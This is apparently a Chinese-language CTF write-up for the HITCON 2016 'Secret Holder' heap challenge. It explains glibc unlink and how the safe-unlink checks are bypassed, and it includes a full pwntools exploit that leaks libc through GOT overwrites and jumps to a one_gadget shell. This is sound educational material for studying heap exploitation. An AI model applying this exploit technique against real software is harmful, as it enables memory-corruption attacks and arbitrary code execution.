BUUCTF-Secret Holder
[BUUCTF] Secret Holder
题目链接:https://buuoj.cn/challenges#secretHolder_hitcon_2016
通过这道题来学习一下堆unlink相关操作
在开始讲这道题之前首先需要了解堆的一种漏洞利用: unlink, 通过unlink和向堆指向空间写入数据,我们能够实现任意地址写
unlink
在堆中,bins(非fast bin)是以双向链表形式存在,而我们从这个链表中获取一个chunk时,会触发链表节点的删除操作
FD = node->fd;
BK = node->bk;
FD->bk = BK;
BK->fd = FD;
如果我们想往一个地址(target_addr)写入任意值(my_value), 那么我们可以修改chunk的fd和bk分别为target_addr - 0x18, my_value,此时unlink操作就变成了
FD = node->fd; // FD = target_addr - 0x18
BK = node->bk; // BK = my_value
FD->bk = BK; // *(target_addr - 0x18 + 0x18) = my_value
BK->fd = FD; // *(my_value + 0x10) = target_addr - 0x18
如果没有node节点的校验,并且我们拥有(my_value + 0x10)地区的写权限的话(一般都有target_addr的写权限),我们就能实现任意地址写。
然而,现实很骨干,开发者们早就注意到了这个漏洞,并在unlink时加入了如下的校验:检查下一个节点的presize和当前节点的size是否相同,且FD->bk == P && BK->fd == P
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
加入了这样一个校验机制之后,我们就不能直接达成任意地址写这个目标了。然而,道高一尺魔高一丈,前辈们想出了一种间接任意写的办法。让我们仔细看下这段校验的代码, 令FD = &P - 0x18, BK = &P - 0x10, 此时
- FD->bk = P
- *(FD + 0x18) = P
- *(&P - 0x18 + 0x18) = *(&P) = P
- BK->fd = P
- *(BK + 0x10) = P
- *(&P - 0x10 + 0x10) = *(&P) = P
校验通过,继续执行赋值语句
- FD->bk = BK
- *(&P - 0x18 + 0x18) = &P - 0x10
- P = &P - 0x10;
- BK->fd = FD
- *(&P - 0x10 + 0x10) = &P - 0x18
- P = &P - 0X18;
最终效果为P = &P - 0x18, 让我们来个图直观感受一下unlink前后的内存布局变化
通过unlink,我们成功让原本指向堆的指针指向了指针上方的一块区域。又由于题目中一般允许让用户对堆的内容重新输入,此时(第一次输入)我们只需要写入p64(0) * 3 + p64(target_addr)
,覆盖掉P的指针, 即可让P指向我们想要写入内容的地址,然后(第二次输入)写入p64(my_value)
,就能实现任意地址写。
还有一个关键的问题!怎样触发unlink? 当我们free掉一个chunk,叫chunk1,如果chunk1与top chunk相邻,chunk1就会与top chunk合并,同时还会去检查前面一个chunk,叫chunk0,如果chunk0处于free状态,则会触发链表的unlink。
glibc环境配置
接下来我们看下Secret Holder这道题,首先设置一下运行环境
patchelf --set-interpreter /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./secretHolder_hitcon_2016
patchelf --replace-needed libc.so.6 /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./secretHolder_hitcon_2016
patchelf --set-rpath /home/kali/Documents/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ./secretHolder_hitcon_2016
检查一下安全机制
IDA 代码分析
这个文件是动态加载的,题目中有三个堆buf_small
, buf_big
, buf_huge
,用三个变量init_small
, init_big
, init_huge
来标识是否被使用,在keep方法中,直接用read读取size个字符,并且没有用\0
结束读入的字符串,可能存在信息泄露。在wipe中,没有判断flag就直接free掉了buf,这里是一个double free漏洞。renew方法则是重新给三个堆赋值。
总体思路
- 构造fake chunk
- 执行unlink
- 泄露libc基址
- 执行one_gadget
编写exp
基本框架
from pwn import *
context.log_level = 'debug'
file_path = '/home/kali/Desktop/ctf/pwn/secretHolder/secretHolder_hitcon_2016'
libc_path = '/home/kali/Desktop/ctf/pwn/secretHolder/libc-2.23.so'
io = process([file_path])
# io = remote('node4.buuoj.cn', 28834)
elf = ELF(file_path)
libc = ELF(libc_path)
def keep(idx):
io.sendlineafter(b'Renew secret\n', b'1')
io.sendlineafter(b'Huge secret\n', str(idx))
io.sendafter(b'secret: \n', b'aaaa')
def wipe(idx):
io.sendlineafter(b'Renew secret\n', b'2')
io.sendlineafter(b'Huge secret\n', str(idx))
def renew(idx, data):
io.sendlineafter(b'Renew secret\n', b'3')
io.sendlineafter(b'Huge secret\n', str(idx))
io.sendafter(b'secret: \n', data)
构造fake chunk
keep(1)
wipe(1)
keep(2)
wipe(1) # double free
keep(1) # overlap
图的出处见参考文献2, 这位老哥讲解的特别好,直接copy过来...
执行unlink
unlink之前需要做一些准备,buf_huge的大小是400000字节,最初的top chunk无法满足,我们需要先alloc一次,(这次会通过mmap分配,并扩大mmap分配的内存阈值),再free掉,再alloc第二次,第二次获取的堆地址才是我们想要的buf_huge地址(和buf_small, buf_big)相邻
keep(3)
wipe(3)
keep(3)
alloc完buf_huge后的内存布局如图所示,之后我们就可以删除buf_huge来触发buf_small的unlink
small_ptr = 0x6020b0 # ida静态分析获取
big_ptr = 0x6020a0 # 同上
payload = p64(0)
payload += p64(0x21) # fake size
payload += p64(small_ptr - 0x18) # 绕过FD->bk == P && BK->fd == P
payload += p64(small_ptr - 0x10) # 同上
payload += p64(0x20) # huge.pre_size, 绕过chunksize(P) != prev_size (next_chunk(P))
payload += p64(0x61a90) # huge.size
renew(2, payload) # 构造fake chunk
wipe(3) # 触发unlink
unlink完后small_ptr就指向了small_ptr-0x18的位置,而big_ptr=small_ptr-0x10, 也就是说如果往small_ptr里写数据的话还会把big_ptr的内容给覆盖。现在让我们来修改got表
泄露libc基址
payload = b'a' * 8
payload += p64(elf.got['free']) # *big_ptr = free@got.plt
payload += b'a' * 8
payload += p64(big_ptr) # *small_ptr = big_ptr
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # *free@got.plt = puts@plt
renew(1, p64(elf.got['puts'])) # *big_ptr = puts@got.plt
wipe(2) # puts(puts@got.plt)
puts_addr = u64(io.recvline()[:6].ljust(8, b'\0'))
libc_base = puts_addr - libc.symbols['puts']
执行one_gadget
one_gadget = libc_base + 0x45216
payload = b'a' * 0x10
payload += p64(elf.got['puts']) # *small_ptr = puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt = one_gadget
io.interactive()
参考文献
[1]https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/
[2]https://poning.me/2016/10/29/secret-holder/
[3]CTF竞赛权威指南Pwn篇 p295.堆利用-HITCON CTF 2016: Secret Holder